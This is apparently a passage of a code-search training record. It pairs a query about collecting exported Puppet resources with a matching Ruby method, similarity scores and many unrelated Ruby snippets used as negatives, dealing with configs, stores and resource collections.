!user.store? and user.should_be_store?\n user.update(store: true)\n else\n # noop\n end\n rescue Exception => e\n end", "def subconfigs!\n @validators.keys.find_all { |key| @validators[key] == SUBCONFIG }\n end", "def store\n @cache.compute_if_absent(current_store_id) { new_store }\n end", "def prepare_for_tests( runs, collectors )\n if Maadi::Expert::Expert::is_expert?( @expert ) and Maadi::Organizer::Organizer::is_organizer?( @organizer )\n if @organizer.works_with?( @expert.domain )\n Maadi::post_message(:Info, 'Expert and Organizer are compatible')\n else\n Maadi::post_message(:Warn, \"Expert (#{@expert.domain}) is NOT compatible with Organizer (#{@organizer.supported_domains.join(', ')})\")\n return false\n end\n\n unless @expert.is_ready?\n @expert.prepare\n end\n\n unless @organizer.is_ready?\n @organizer.prepare\n end\n\n if @expert.is_ready? && @organizer.is_ready?\n collectors.each do |collector|\n collector.log_options( @expert )\n collector.log_options( @organizer )\n end\n\n parameters = @expert.parameters( 'all' )\n ready = @organizer.available_parameters( parameters, runs )\n\n if ready\n Maadi::post_message(:More, 'Generator is ready')\n return true\n end\n else\n Maadi::post_message(:Warn, 'Expert or Organizer NOT ready')\n end\n else\n Maadi::post_message(:Warn, 'Expert or Organizer NOT correct type/initialized')\n end\n\n return false\n end", "def add_stores (names, store_map)\n names.each do |name|\n #hp = OpenWFE::HashParticipant.new\n #$engine.register_participant(name, hp)\n hp = $engine.register_participant(name, OpenWFE::YamlParticipant)\n store_map[name] = hp\n end\nend", "def empty?\n store.empty?\n end", "def check_config\n data = merge_yaml_data(@@config_dir)\n @rule_data = merge_yaml_data(@@rule_config_dir)\n actual = make_key_chain(data)\n expect = make_key_chain(@rule_data)\n diff = diff_arr(expect, actual)\n make_message(diff)\n end", "def stores\n @stores ||= config.maildirstores.map(&:path)\n end", "def get_coverage_stores workspace = nil\n ws = workspace.nil?? get_workspaces : [get_workspace(workspace)]\n cs = []\n ws.each{ |w| cs += w.coverage_stores if w.coverage_stores }\n cs\n end", "def validate_config!\n raise NotImplementedError, \"Implement #{__callee__} in #{self.class.to_s}\"\n end", "def event_store\n @event_store || fail(UnsetEventStore)\n end", "def collect_module_data\n return unless collect_module_exists?\n collect_keys.each do |key|\n mod_array = collect_module[key]\n next if mod_array.blank?\n collect_module_data_for(key, mod_array)\n end\n end", "def sanityCheck\n @executor.nil? and raise \"Executor has not been initialized.\"\n @manipulator.nil? and raise \"Manipulator has not been initialized.\"\n @monitor.nil? and raise \"Monitor has not been initialized.\"\n @subject.nil? and raise \"Subject has not been initialized.\"\n end", "def configure\n load_all_configs \n end", "def check_for_too_many_processors(config, hash); end", "def add_to_existing_collector(config_maps)\n config_maps.each do |map|\n next unless map.available?(self)\n\n map.add_source(self)\n self.config_map = map\n break\n end\n end", "def check_for_collection\n unless LogMessage.mongo_session.collections.map{ |c| c.name.to_s }.include?(LogMessage.collection.name.to_s)\n create_collection\n end\n end", "def empty?\n return true if @store == []\n return false\n end", "def collect(collectors)\n logger.info(\"[ \" + Time.now.to_s + \" ]\" + \" Collect task invoked\")\n collectors.each do |collector_name|\n begin\n collector = @collectors[collector_name]\n accounts = get_accounts collector_name, collector.settings[:request_limit]\n success_accounts = collector.collect accounts\n failed_accounts_count = accounts.size - success_accounts.size\n\n if(failed_accounts_count > 0)\n logger.error \"Failed to fetch resources from #{failed_accounts_count} accounts\"\n end\n \n success_accounts.each do |a|\n a.refresh_date = DateTime.now\n a.save validate: false\n end\n rescue => e\n logger.error \"Exception occured during #{collector_name} collecting task: #{e.message}\\n\" +\n e.backtrace.to_s\n end\n end\n end", "def list_config\n configs = store :get, 'configs'\n (configs.error?) ? 'No config vars set yet.' : configs.to_s\n end", "def collect_configs(config_files = nil, cached_hosts = ['public.dhe.ibm.com'])\n config_files = Dir[File.expand_path(File.join('..', '..', 'config', '*.yml'), __FILE__)] if config_files.nil?\n configs = []\n config_files.each do |file|\n @logger.debug \"Checking #{file}\"\n begin\n config = YAML.load_file(file)\n rescue => e\n abort \"ERROR: Failed loading config #{file}: #{e}\"\n end\n if !config.nil? && config.has_key?(REPOSITORY_ROOT) && config.has_key?(VERSION) && cached_hosts.include?(URI(config[REPOSITORY_ROOT]).host)\n configs.push(config)\n end\n end\n configs\n end", "def doctor_config_systems\n errors = false\n\n if config_systems.empty?\n errors = true\n logger.error \"systems is empty\"\n end\n\n errors\n end", "def initialize\n @store = []\n end", "def check\n if @config['name'].nil?\n Utils.fail('in your configuration file: no name given')\n end\n\n if @config['hosts']\n unless @config['hosts'].is_a? Array\n Utils.fail('hosts should be an array')\n end\n\n @config['hosts'].each_with_index do |h, i|\n if h['im_mad'].nil?\n Utils.fail(\"in configuration file: no im_mad #{i + 1}\")\n end\n\n if h['vm_mad'].nil?\n Utils.fail(\"in configuration file: no vm_mad #{i + 1}\")\n end\n\n next unless h['provision']['hostname'].nil?\n\n Utils.fail(\"in configuration file: no hostname #{i + 1}\")\n end\n end\n\n if @config['datastores']\n unless @config['datastores'].is_a? Array\n Utils.fail('datastores should be an array')\n end\n\n @config['datastores'].each_with_index do |d, i|\n if d['tm_mad'].nil?\n Utils.fail(\"in configuration file: no tm_mad #{i + 1}\")\n end\n\n next if d['type']\n\n next if d['ds_mad']\n\n Utils.fail(\"in configuration file: no ds_mad #{i + 1}\")\n end\n end\n\n return unless @config['networks']\n\n unless @config['networks'].is_a? Array\n Utils.fail('networks should be an array')\n end\n\n @config['networks'].each_with_index do |n, i|\n next unless n['vn_mad'].nil?\n\n Utils.fail(\"in configuration file: no vn_mad #{i + 1}\")\n end\n end", "def setup(configs = nil)\n return if @setup\n\n @setup = true\n\n @custom_configs = configs || []\n end", "def validate_stack!\n return if config[:blank]\n\n ensure_mockup_processor_in_stack!\n ensure_dir_finalizer_in_stack!\n end", "def store\n # Calculate rule memory\n (@reps.to_a + @site.layouts.to_a).each do |obj|\n rule_memory_store[obj] = action_provider.memory_for(obj).serialize\n end\n\n # Calculate checksums\n objects_to_checksum =\n site.items.to_a + site.layouts.to_a + site.code_snippets + [site.config]\n objects_to_checksum.each { |obj| checksum_store.add(obj) }\n\n # Store\n checksum_store.store\n rule_memory_store.store\n end", "def configure\n load_configuration\n verify_configuration\n end", "def should_eval_to(pass_value)\n @bucket.all? == pass_value\n end", "def evaluate_valid_if_config\n return true if @ignore_configurable_valid_if || !option_type_config.respond_to?(:valid_if)\n\n return true if option_type_config.valid_if.empty?\n\n action_name = persisted? ? :update : :create\n @return_failures = {}\n option_type_config.calc_valid_if action_name, self, return_failures: @return_failures\n end", "def each_store (&block) # :yields: regex, store_name, store\n\n return unless block\n\n @stores.each do |v|\n regex, store_name, store = v\n block.call regex, store_name, store\n end\n end", "def collect!\n collectors.each do |collector|\n if config.debug?\n yabeda.collect_duration.measure({ location: collector.source_location.join(\":\") }, &collector)\n else\n collector.call\n end\n end\n end", "def override_event_store_with(even_store)\n allow(Rails.configuration).to receive(:event_store).and_return(event_store)\n end", "def serialize_record_data?; collect_keys.present? || collect_only_keys.present?; end", "def empty?\n !@store\n end", "def no_repeat_employee_store\r\n if !self.employee.nil?\r\n self.employee.employee_stores.each do |employee_store|\r\n if self.store.store_name.upcase == employee_store.store.store_name.upcase\r\n errors.add(:employee, \"is already assigned to that store\")\r\n end\r\n end\r\n end\r\n end", "def _store_defaults\n @store.transaction {@store[@id]= @options} unless valid?\n end", "def cleanup(config_store, verbose, cache_root = T.unsafe(nil)); end", "def config_parsed?\r\n config_parsed\r\n end", "def ensure_aggregate!\n unless @context\n raise Exceptions::MisuseException, \"function is not an aggregate\"\n end\n end", "def provided_store_details?(merchant)\n store = Store.find_by(merchant_id: merchant.id)\n store\n\tend", "def configured?\n true\n end", "def validate_required_all(required_configs)\n required_configs.each do |config|\n unless config_set?(config)\n message = \"Configuration value `#{config}` is required.\"\n raise ConfigurationError, message\n end\n end\n end", "def applied_config\n @applied_config ||= {}\n end", "def each(&block)\n @tool_configs.each(&block)\n end", "def valid_criteria\n @valid_criteria ||= YAML::load(ERB.new((IO.read(\"#{RAILS_ROOT}/config/population_criteria.yml\"))).result) || []\n end", "def initialize\n @store = {}\n end", "def each\n raise 'This is a generic store. Please use a subclass.'\n end", "def configured?\n @configuration != nil\n end", "def set_store\n @store = Store.find(params[:store_id]) if params[:store_id]\n end", "def check_config\n list = []\n %w(app_key secret_key endpoint).map do |k|\n list << k unless config.has_key? k\n end\n\n raise \"[#{list.join(', ')}] not included in your yaml file.\" unless list.empty?\n end", "def store?\n true\n end", "def validate_required_any(required_configs)\n valid = required_configs.select { |config| config_set?(config) }\n\n return if valid.any?\n\n config_list = required_configs.map { |conf| \"`#{conf}`\" }.join(', ')\n message = \"At least one of the configuration values has to be set: #{config_list}.\"\n raise ConfigurationError, message\n end", "def system_configured?\n system_configs = self.class.list\n desired_configs = self.app_config\n\n desired_configs.values.all? { |config| system_configs.include? config }\n end" ]
[ "0.59760356", "0.5726866", "0.55157197", "0.5411421", "0.5312494", "0.5292913", "0.52025586", "0.5150112", "0.5115923", "0.488663", "0.48714945", "0.48470297", "0.484389", "0.48265576", "0.47959197", "0.47775227", "0.47582924", "0.47565797", "0.47546118", "0.47405994", "0.4739721", "0.47332382", "0.4718304", "0.47062847", "0.4697771", "0.46826002", "0.468081", "0.46670023", "0.46668985", "0.4653707", "0.46359158", "0.463259", "0.46146545", "0.46108067", "0.46108067", "0.46089774", "0.460219", "0.45988995", "0.45894173", "0.45894173", "0.45894173", "0.45894173", "0.45858514", "0.45822605", "0.45657802", "0.45531344", "0.4544342", "0.45426685", "0.4530094", "0.452409", "0.4504192", "0.44995838", "0.44953492", "0.44872153", "0.4481937", "0.44810608", "0.44808826", "0.44788817", "0.44771853", "0.447256", "0.44625148", "0.44624335", "0.44541225", "0.44526464", "0.44498122", "0.444831", "0.44424066", "0.44352192", "0.44261193", "0.44210786", "0.44194585", "0.44147122", "0.44133672", "0.4411247", "0.44092366", "0.44057906", "0.4404692", "0.44007677", "0.43959677", "0.43915948", "0.43780375", "0.43780282", "0.43779033", "0.43728778", "0.43713185", "0.43594277", "0.43436524", "0.4341632", "0.43333885", "0.43332285", "0.4326458", "0.4320808", "0.4319703", "0.43185958", "0.43163154", "0.43157348", "0.4315665", "0.4308985", "0.43060344", "0.43044364" ]
0.7297491
0
Collect exported resources as defined by an exported collection. Used with PuppetDB
def collect resources = [] time = Puppet::Util.thinmark do t = @type q = @cquery resources = scope.compiler.resources.find_all do |resource| resource.type == t && resource.exported? && (q.nil? || q.call(resource)) end found = Puppet::Resource.indirection. search(@type, :host => @scope.compiler.node.name, :filter => @equery, :scope => @scope) found_resources = found.map {|x| x.is_a?(Puppet::Parser::Resource) ? x : x.to_resource(@scope)} found_resources.each do |item| existing = @scope.findresource(item.resource_type, item.title) if existing unless existing.collector_id == item.collector_id raise Puppet::ParseError, _("A duplicate resource was found while collecting exported resources, with the type and title %{title}") % { title: item.ref } end else item.exported = false @scope.compiler.add_resource(@scope, item) resources << item end end end scope.debug("Collected %s %s resource%s in %.2f seconds" % [resources.length, @type, resources.length == 1 ? "" : "s", time]) resources end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def resources\n self.collection.find({}, :sort => [:_id, :asc]).map do |hash|\n self.normalize hash\n end\n end", "def catalog_resources\n # This method exists to supply a common interface to the puppet catalog\n # for different versions of puppet.\n @catalog.resources.map do |r|\n if r.is_a?(String)\n # puppet 0.25 and older\n resource(r)\n elsif r.is_a?(Puppet::Resource)\n # puppet 2.6 and newer\n r\n else\n raise \"Unknown resource object #{r.class}\"\n end\n end\n end", "def resources\n collection = Miasma::Models::Orchestration::Stack::Resources.new(self)\n collection.define_singleton_method(:perform_population) do\n valid = stack.sparkleish_template.fetch(:resources, {}).keys\n stack.custom[:resources].find_all { |r| valid.include?(r[:name]) }.map do |attrs|\n Miasma::Models::Orchestration::Stack::Resource.new(stack, attrs).valid_state\n end\n end\n collection\n end", "def resources\n resources = []\n\n default_storage = {\n 'swift_zone' => 100,\n 'object_port'=>6000,\n 'container_port'=>6001,\n 'account_port'=>6002,\n 'mountpoints'=> \"1 1\\n2 1\",\n 'weight'=> 100,\n 'types'=>['container', 'object', 'account'],\n }\n\n self[:storages].each do |storage|\n merged_storage = default_storage.merge(storage)\n merged_storage['types'].collect do |type|\n port = merged_storage[\"#{type}_port\"]\n options = {\n :name=>\"#{merged_storage['storage_address']}:#{port}\",\n :mountpoints=>merged_storage['mountpoints'],\n :zone => merged_storage['swift_zone']\n }\n resources += [Puppet::Type.type(\"ring_#{type}_device\".to_sym).new(options)]\n end\n end\n resources\n end", "def unprocessed_resources\n @unprocessed_resources ||= action_collection&.filtered_collection(updated: false, up_to_date: false, failed: false, skipped: false)&.resources || []\n end", "def collection\n resource_class.all\n end", "def scrape_resources(opts = {})\n BBLib::HashStruct.new.tap do |hash|\n resources.each do |resource|\n hash[resource.name] = resource.retrieve(opts)\n end\n end\n end", "def collect_resources\n logger.info \"Collecting resources from #{configuration.resource_path}\" do\n Dir.glob(File.join(configuration.resource_path, \"*.rb\")).each do |file|\n @run_context.add_resource_from_file ResourceFile.new(file)\n end\n end\n end", "def assigned_resources( resource_class, page_layout )\n resource_key = get_resource_class_key(resource_class)\n if assigned_resource_ids.try(:[],page_layout.id).try(:[],resource_key).present?\n resource_ids = assigned_resource_ids[page_layout.id][resource_key]\n #in prepare_import, we want to know assigned resources\n #current shop is not designshop, we need use unscope here.\n if resource_ids.include? 0\n resources = resource_ids.collect{|resource_id|\n if resource_id > 0\n resource_class.unscoped.find resource_id\n else\n nil \n end\n }\n else\n resources = resource_class.unscoped.find resource_ids \n end\n end\n resources||[]\n end", "def resource_collection\n @resource_collection ||= @run_context.resource_collection\n end", "def resources\n nodeset = query_root_node(\"gdacs:resources/gdacs:resource\", @@NAMESPACES)\n @items = []\n if !nodeset.nil?\n nodeset.each do |item|\n item_obj = SemanticCrawler::Gdacs::Resource.new(item)\n @items << item_obj\n end\n end\n @items\n end", "def resources\n @resources ||= Marshal.load(Marshal.dump(@@resources))\n end", "def resources\n @resources ||= @internal_struct[:resources] || {}\n end", "def all_resources\n @run_context && @run_context.resource_collection.all_resources\n end", "def list_exports(db)\n db.query(\"SELECT e.id, e.dataset, e.path, r.root_dataset, r.root_path FROM storage_export e\n\t\t INNER JOIN storage_root r ON r.id = e.root_id\n\t\t WHERE\n\t\t e.`default` = 'no' AND\n\t\t r.node_id = #{$CFG.get(:vpsadmin, :server_id)}\")\n end", "def child_collections(valkyrie: false)\n resources = Hyrax.custom_queries.find_child_collections(resource: self)\n return resources if valkyrie\n resources.map { |r| Wings::ActiveFedoraConverter.new(resource: r).convert }\n end", "def collect_idl_files\n recipes.each { |rcp| rcp.collect_idl_files }\n end", "def collect\n end", "def decorated_collection\n @collection.map do |element|\n Resource.new(element, @controller)\n end\n end", "def resource_all(stack)\n request(\n :path => \"global/deployments/#{stack.name}/resources\"\n ).fetch('body', 'resources', []).map do |resource|\n Stack::Resource.new(stack,\n :id => resource[:id],\n :type => resource[:type],\n :name => resource[:name],\n :logical_id => resource[:name],\n :created => Time.parse(resource[:insertTime]),\n :updated => resource[:updateTime] ? Time.parse(resource[:updateTime]) : nil,\n :state => :create_complete,\n :status => 'OK',\n :status_reason => resource.fetch(:warnings, []).map{|w| w[:message]}.join(' ')\n ).valid_state\n end\n end", "def get_collection_object_references\n # get ids of collection object links\n link_ids = CollectionobjectLink.where(\"resource_id = ?\", self.id).pluck(:id)\n resource_ids = MediaFile.where(\"sourceable_id IN (?)\", link_ids).pluck(:resource_id)\n\n #\n rel_resource_ids = RelatedResource.where(\"to_resource_id = ?\", self.id).pluck(:resource_id)\n\n all_resource_ids = rel_resource_ids + resource_ids\n\n begin\n Resource.find(all_resource_ids)\n rescue\n return []\n end\n end", "def resources\n @resources ||= []\n end", "def query_resources\n powershell_exec(\"get-dscresource\").result\n end", "def generate_resources_list\n resources = YARD::Registry.all(:resource).uniq.sort_by {|resource| resource.name.to_s}\n generate_full_list(resources, 'Resource', 'resources')\nend", "def export_all\n File.foreach(File.join(@export_dir, @pidlist)) do |line|\n begin\n short_pid = strip_pid(line.strip)\n puts \"Exporting datastreams for #{short_pid}.\" if @verbose\n bag = BagIt::Bag.new(File.join(@bags_dir, short_pid))\n item = GenericAsset.find(line.strip)\n rem_graph = remediate(@remediation, item.descMetadata.graph)\n export_profile(item, rem_graph, short_pid)\n export_content(item, short_pid)\n export_metadata(item, rem_graph, short_pid)\n export_workflow_metadata_profile(item, short_pid)\n bag_finisher(bag)\n rescue StandardError => e\n message = \"Error #{e.message}:#{e.backtrace.join(\"\\n\")}\"\n puts message if @verbose\n @logger.error(message)\n end\n end\n end", "def read_collections\n site.collections.each_value do |collection|\n next if collection.data?\n\n collection.read\n end\n end", "def available_collections\n api = API.new\n params = {:limit => 9999, :preserve_original => true}\n response = api.send_and_receive('collections', {:params => params})\n response.map {|n| [n['title'], n['identifier']]}\n end", "def collection\n @collector.collection\n end", "def updated_resources\n @updated_resources ||= action_collection&.filtered_collection(max_nesting: 0, up_to_date: false, skipped: false, unprocessed: false) || {}\n end", "def resources\n @resources.values\n end", "def export_all\n @exported_fields = nil\n end", "def exports\n ActiveFedora::Base.where(read_access_group_ssim: \"public\").all.collect { |o| o.pid } + ActiveFedora::Base.where(discover_access_group_ssim: \"public\").all.collect { |o| o.pid }\n end", "def collect\n raise Errors::ActionMethodNotImplemented.new 'Collect actions must overwrite the collect method.'\n end", "def resource_list\n self.resources\n end", "def rsync_resources\n run_context.resource_collection.select do |resource|\n resource.is_a?(Chef::Resource::RsyncServe)\n end\n end", "def resource_collection\n client.run_status.run_context.resource_collection\n end", "def make_collection\n @resource.make_collection\n end", "def resources\n @pruned_resources || super\n end", "def bulk_exports\n @bulk_exports ||= BulkExports.new self\n end", "def collect; end", "def resources\n Loader.resources.keys\n end", "def export_mongo\n # defined in immunoscore_results_loader\n JSON_CLASS_MAPPER.values.each do |mm_class|\n mm_class.all.each do |mm_object|\n puts \"#{mm_object}: #{mm_object[:case_n]}\"\n next unless mm_object[:case_n] != nil\n case_dir=(EXPORT_DIR+\"/\"+ mm_object[:case_n]) \n Dir.mkdir case_dir unless Dir.exist?(case_dir)\n fh=export_file case_dir, mm_object[:path]\n fh.write(mm_object[:data_load])\n fh.close\n \n end\n end\nend", "def resources\n @resources ||= {}\n end", "def enclosing_collection_resources\n @enclosing_collection_resources ||= []\n end", "def resource_all(stack)\n raise NotImplementedError\n end", "def collect_module_data\n return unless collect_module_exists?\n collect_keys.each do |key|\n mod_array = collect_module[key]\n next if mod_array.blank?\n collect_module_data_for(key, mod_array)\n end\n end", "def resources\n ([self] + parent_groups).reverse.inject({}) do |memo, group|\n begin\n memo.merge(group.poise_spec_helpers[:resources] || {})\n rescue NoMethodError\n memo\n end\n end\n end", "def all\n describe(resource_uri)\n end", "def collections\n Collection.find(:all, :find_through => [N::DCT.hasPart, self])\n end", "def filesets_for_export(include_files = true)\n filesets = []\n has_ereader_files = false\n # get file-level filesets (image, document, video, etc); remove ereader (do 'em separately)\n all_files = Bplmodels::Finder.getFiles(pid)\n\n ereader_files = all_files.delete(:ereader) || []\n\n ## all_files.delete(:images) # uncomment for easier testing of IA objects\n # Make all non ereader files part of a \"lazy\" eumerator see Enumerator::Lazy at https://ruby-doc.org/core-2.6.8/Enumerator/Lazy.html\n # Note all_files.values.reduce(:+) will flatten the values in the all_files hash into a single array\n filesets = filesets_for_files_lazy(all_files.values.reduce(:+), include_files)\n # get EReader filesets and combine, make EPub the 'primary'\n if ereader_files.present?\n has_ereader_files = true\n ereader_fileset_for_export = nil\n if include_files\n ereader_filesets = filesets_for_files(ereader_files, include_files)\n ereader_filesets.each_with_index do |er_fileset, index|\n if er_fileset[:file_set][:files][0][:content_type] == 'application/epub+zip'\n ereader_fileset_for_export = er_fileset\n ereader_filesets.delete_at(index)\n end\n end\n ereader_filesets.each do |er_fileset|\n er_fileset[:file_set][:files].each do |er_file|\n next unless er_file[:file_type].match?(/ebook_access/)\n\n ereader_fileset_for_export[:file_set][:files] << er_file\n end\n end\n else\n ereader_files = ereader_files.select { |erf| erf[\"mime_type_tesim\"].include?(\"application/epub+zip\") }\n if ereader_files.present?\n ereader_fileset_obj = Bplmodels::File.find(ereader_files.first['id'])\n ereader_fileset_for_export = ereader_fileset_obj.export_data_for_curator_api(include_files)\n end\n end\n\n # have to modify keys of ebook_access_mobi and ebook_access_daisy files to use epub pid\n # NOTE on moving this up from below\n # Instead of reiterating through all of the fileset objects to check for the ereader object we just added...\n # modify the one we are adding before putting it into the filesets enum\n if ereader_fileset_for_export.present?\n pid_for_key = ereader_fileset_for_export.dig(:file_set, :ark_id)\n ereader_fileset_for_export[:file_set][:files].each do |file|\n if file[:file_type] == 'ebook_access_daisy' || file[:file_type] == 'ebook_access_mobi'\n key_parts = file[:key].split('/')\n key_parts[1] = pid_for_key if key_parts[1].match?(/[\\w-]*:[0-9a-z]*/)\n file[:key] = key_parts.join('/')\n end\n end\n end\n # NOTE since filesets is a Enumerator::Lazy object the << operator does not work anymore\n # Instead you have to wrap the object into a Enumerator subtype(Array in this case) and add(+) it\n # This will create an Enumerator::Chain object\n filesets = filesets + Array.wrap(ereader_fileset_for_export)\n end\n\n # if has_ereader_files\n # filesets.each do |fs|\n # fileset = fs[:file_set]\n # next unless fileset[:file_set_type] == 'ereader'\n #\n # pid_for_key = fileset[:ark_id]\n # fileset[:files].each do |file|\n # if file[:file_type] == 'ebook_access_daisy' || file[:file_type] == 'ebook_access_mobi'\n # key_parts = file[:key].split('/')\n # key_parts[1] = pid_for_key if key_parts[1].match?(/[\\w-]*:[0-9a-z]*/)\n # file[:key] = key_parts.join('/')\n # end\n # end\n # end\n # end\n # get the object-level filesets (metadata, plainText, etc)\n object_filesets = object_filesets_for_export(object_filestreams_for_export)\n filesets + object_filesets\n end", "def resources\n @resources ||= process_data(decoded_body[resources_key])\n end", "def loaded_resources\n @_loaded_resources ||= []\n end", "def resources\n typed_set(entities, Occi::Core::Resource)\n end", "def resources\n @data.keys\n end", "def list_resources\n resources = []\n addr = create_address(:sliceID => @@sliceID, :domain => @@domain)\n resource_prefix = \"#{addr.generate_address}/\"\n nodes = list_nodes(@@domain)\n nodes.each{|node|\n next if !node.include?(resource_prefix)\n node.slice!(resource_prefix)\n resources << node if !node.empty?\n }\n resources\n end", "def resources\n return @resources\n end", "def resources\n return @resources\n end", "def resources\n return @resources\n end", "def all_resources(set = Set.new)\n set << self\n self.each_resource { |r| r.all_resources(set) }\n set\n end", "def resources\n @resources ||=\n query_service.custom_queries.find_by_property(property: :source_metadata_identifier, value: [], lazy: true).select do |resource|\n id = resource.source_metadata_identifier.first\n next if /99.*3506421/.match?(id)\n next if transform_id(id).length > 18\n RemoteRecord.catalog?(id)\n end.to_a\n end", "def get_all_datasets_and_resources(base_url)\n return handle_request(URI.encode(base_url + '/current_package_list_with_ressources'))\n end", "def import_resources\n # for each resource type, look for a file of measurement data\n Report.plugin_matrix.each do |resource_name, measurements|\n model = Object.const_get((resource_name + 'Resource').camelcase(:upper))\n model.unrestrict_primary_key\n iterate_lines(@directory + resource_name + '.json') do |idx, line|\n print \"\\rImporting #{resource_name}: #{idx}...\"\n\n resource = JSON.parse(line)\n resource.each do |key, value|\n value = update_date(value, @date_offset)\n resource[key] = value unless value.nil?\n end\n model.create(resource)\n end\n model.restrict_primary_key\n print \"Done\\n\"\n import_measurements(measurements)\n end\n end", "def visit_resources(resources)\n visitor = Visitor.new\n\n resources.reject! {|resource| resource.type == 'Stage' || resource.type == 'Class' }\n resources.map(&visitor.method(:visit))\n\n visitor.context.to_dockerfile\n end", "def find_resources(type)\n resource_collection.all_resources.select do |resource|\n resource_name(resource) == type.to_sym\n end\n end", "def resources(*args)\n run_context.resource_collection.find(*args)\n end", "def attachments_for_export\n []\n end", "def resources\n @resources ||= Resources.new\n if block_given?\n yield(@resources)\n end\n @resources\n end", "def resource_collection\n run_context && run_context.resource_collection\n end", "def generate_bulk_export\n # Delete the bulk_export directory if it exists.\n FileUtils.rm_rf(\"bulk_export\")\n\n get_all_insurance_plans\n get_all_location_resources\n p \"===============================================================\"\n p \"Creating the Bulk export folder output ...\"\n generate_payer_bulk_data\n generate_formulary_bulk_data\nend", "def prepare_publish\n workload = []\n\n source_category = \"stage\"\n destination_category = \"pool\"\n\n Component.dataset(source_category).each do |entry|\n source = Component.new(entry[:component], entry[:suitename], source_category)\n source.files.each do |fullname|\n package = Package.new(fullname, entry[:suitename], entry[:component])\n destination = Architecture.new(package.architecture, entry[:component], entry[:suitename], destination_category)\n\n workload << {\n :source_fullname => fullname,\n :destination_fullname => File.join(destination.directory, package.newbasename),\n :component => entry[:component],\n :suitename => entry[:suitename],\n :architecture => package.architecture\n }\n end\n end\n \n workload\n end", "def resources\n @resources = {\n :lumber => Lumber.new,\n :clay => Clay.new,\n :iron => Iron.new,\n :crop => Crop.new\n } if @resources.nil?\n return @resources\n end", "def get_resources\n routes_doc = get_routes_doc\n resources_names = routes_doc.get_resources_names - resources_black_list\n\n resources_names.map do |resource|\n puts \"Generating #{resource} documentation...\" if trace?\n ResourceDoc.new( resource, routes_doc.get_actions_route_info( resource ) )\n end\n end", "def find_all_resources(resource_descr, resource_type, authorizer)\n debug \"central find_all_resources: descr: '#{resource_descr.inspect}' resource_type: #{resource_type}\"\n raise 'Method not implemented because the Central Manager just need to pass the same requisition to the other' \\\n ' brokers and create the concatenated results'\n end", "def collect!\n super { |r| relate_resource(yield(orphan_resource(r))) }\n end", "def resources options={}\n @resources ||= find_resources options\n end", "def subresources\n if any?\n { collection_rel => self }\n else\n {}\n end\n end", "def list_collections manifest\n list = []\n\n manifest.collections.each do |pid|\n pidparts = pid.split(':')\n pid = pidparts[0].downcase + ':' + pidparts[1]\n list.push pid\n end\n\n return list\n end", "def fetch\n @routes = []\n source_extractors.keys.each do |source|\n extract_routes(source, data_for_source(source))\n end\n end", "def get_resources\n init_folder unless @init # have I been initialized?\n return @resources \n end", "def collections\n with_caching({}, 'collections') do\n sibling_nodes_for('collection').map {|n| Collection.new(n, authentication_options) }\n end\n end", "def resources\n @resources ||= @response[@resource_field].to_a\n end", "def files\n @exported_pr_dir ? Dir.glob(@exported_pr_dir) : []\n end", "def children\n @children ||= assets.map { |asset| asset.key.split('/').first }.uniq.map do |bucket|\n path = \"#{ resource.public_path }/#{ bucket }\"\n Shopidav::Resource.new(path, path, resource.request, resource.response, resource.options)\n end\n end", "def all(params = {})\n query = params.map { |key, value| \"#{CGI.escape(key.to_s)}=#{CGI.escape(value.to_s)}\" }.join(\"&\")\n query = \"?\" + query unless query.empty?\n code, data = @session.get(collection_path + '.json' + query)\n data.collect { |data|\n key = @resource.name.to_s.split('::').last.downcase\n @resource.new(data[key].merge(:session => @session, :prefix => @prefix))\n }\n end", "def resources=(collection)\n instance_variable_set(\"@#{resources_name}\", collection)\n end", "def rsync_resources\n ::ObjectSpace.each_object(::Chef::Resource).select do |resource|\n resource.resource_name == :rsync_serve\n end\nend", "def retrieve_collection\n\n #same as query in products index, query_raw_material_with_relationship, should move to cmd ?\n special_type = ['seeds', 'purchased_clones']\n raw_material_ids = if special_type.include?(type)\n #find parent only one\n Inventory::Catalogue.raw_materials.where(\n key: type,\n ).pluck(:id)\n else\n #find catalogue for other than parent, parent will never have category type\n Inventory::Catalogue.raw_materials.where(\n category: type,\n ).pluck(:id)\n end\n\n if resource_shared?\n item_transactions = Inventory::ItemTransaction.includes(:catalogue, :facility, :facility_strain).where(\n :facility_id.in => @user.facilities,\n :event_type.in => @event_types,\n :catalogue_id.in => raw_material_ids,\n ).order(c_at: :desc)\n else\n item_transactions = Inventory::ItemTransaction.includes(:catalogue, :facility, :facility_strain).where(\n :facility_id => @facility_id,\n :event_type.in => @event_types,\n :catalogue_id.in => raw_material_ids,\n ).order(c_at: :desc)\n end\n\n vi_item_ids = item_transactions.\n where(ref_type: 'Inventory::VendorInvoiceItem').pluck(:ref_id)\n vendor_invoice_items = Inventory::VendorInvoiceItem.\n includes(:invoice).\n in(id: vi_item_ids)\n\n {\n item_transactions: item_transactions,\n vendor_invoice_items: vendor_invoice_items.to_a,\n }\n end", "def index\n @export_types = ExportType.all\n end", "def exports\n provider.exports\n end", "def exports\n provider.exports\n end", "def exports\n provider.exports\n end", "def exports\n provider.exports\n end", "def exports\n provider.exports\n end", "def collections\n config_dir = File.join(File.dirname(__FILE__), '..', 'config', 'collections')\n files = Dir.glob(\"#{config_dir}/*.yml\")\n files.map! { |x| File.basename(x, '.yml') }\nend", "def manipulate_resource_list(resources)\n resources + options[:targets].map do |t|\n StaticResource.new(\n app.sitemap,\n t[:output]\n ) { \n File.read(File.expand_path(tmp_path(t), app.root))\n }\n end\n end", "def resources()\n end", "def collections; end", "def display_all_data(collection, keys)\n rc_list = []\n parts = collection.parts\n parts.each do |part|\n rc_list += collection.find(part)\n end\n display_data(collection, rc_list, keys)\n end", "def all_resources(set = Set.new)\n set << self\n set\n end", "def export\n\n end" ]
